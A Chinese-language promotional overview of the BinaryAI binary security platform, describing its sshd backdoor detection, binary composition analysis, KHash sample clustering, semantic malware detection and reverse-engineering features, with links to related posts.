结合 BinaryAI 的函数语义匹配技术，团队设计了sshd后门自动化检测方案，能有效检测出各类型后门植入形式，如硬编码后门密码，用户密码窃取、回传等；也发现了其他后门变种，例如利用函数名作为后门密码或通过自定义函数进行密码泄露等，成功发现多个在 VirusTotal 上未被任何引擎检出的 sshd 后门样本。

相关介绍请查看：sshd后门自动化检测 | BinaryAI在恶意软件检测场景的实践

软件供应链安全

BinaryAI 提供的二进制文件 SCA 算法能力，支持在无源码情况下，识别开源组件及版本，解决大规模二进制程序函数相似性分析的问题，提高分析效率和准确性。强大的算法能力结合 BinaryAI 背后开源组件知识库储备以及威胁情报的漏洞情报数据，为开源安全治理提供坚实底座。

同源样本追溯

KHash是 BinaryAI 自研的二进制文件相似性比较的哈希。在威胁情报样本分析业务中，借助 KHash 对海量样本聚类的能力，可高效准确获得相似文件列表。无论是跨操作系统、CPU架构还是编译器选项，都能准确定位相似文件。

针对恶意样本，BinaryAI 还提供恶意软件家族基因分析功能，同源追溯所属的家族及其变体。

相关介绍请查看：BinaryAI更新布告｜恶意软件家族基因分析功能上线

未知威胁防御

BinaryAI 的恶意文件检测功能，是一套基于语义化的查杀引擎技术，支持对可执行文件进行函数级语义识别汇总，展示判定结果（恶意、安全）和恶意概率，已在威胁情报海量文件数据上进行了全面的训练。由于该功能无需依赖任何特征码或特征工程，因此可以灵活应对新型恶意软件的威胁。

相关介绍请查看：

BinaryAI更新布告｜摆脱特征码和特征工程束缚，语义化恶意文件检测功能上线

游戏辅助的隐藏威胁｜传播于游戏论坛的“Catlavan”后门分析报告

逆向分析生产力升级

在人工分析样本的场景中，安全研究人员只需上传样本，等待自动化分析完成，在交互式分析页面即可查看从伪代码翻译成高可读性的源码。二进制比对功能更是将两个可执行文件的比对工作简化成查看相似函数列表。BinaryAI 在二进制和源代码的跨模态相似性检索能力，降低了逆向工程的门槛，提供高效便捷的智能辅助。

相关技术分享请查看：

BinaryAI二进制比对功能设计与实现｜自研大模型下函数的语义匹配

未来展望

2025年，BinaryAI 将持续深耕 AI 驱动的安全分析领域，结合推理大模型以及 AI Agent 技术驱动产品升级，构建二进制安全新范式，敬请期待。

欢迎访问 https://www.binaryai.cn 或 阅读原文 前往体验！

★

往期相关

★

· BinaryAI更新布告｜用户管理、文件管理体系全新升级

· BinaryAI更新布告｜AI智能总结与搜索，重塑二进制安全分析体验

· sshd后门自动化检测 | BinaryAI在恶意软件检测场景的实践

· 科恩自研二进制相似性哈希算法“KHash”上线BinaryAI，助力更全面的文件安全分析场景

· BinaryAI更新布告｜二进制函数匹配模型BAI-3.0上线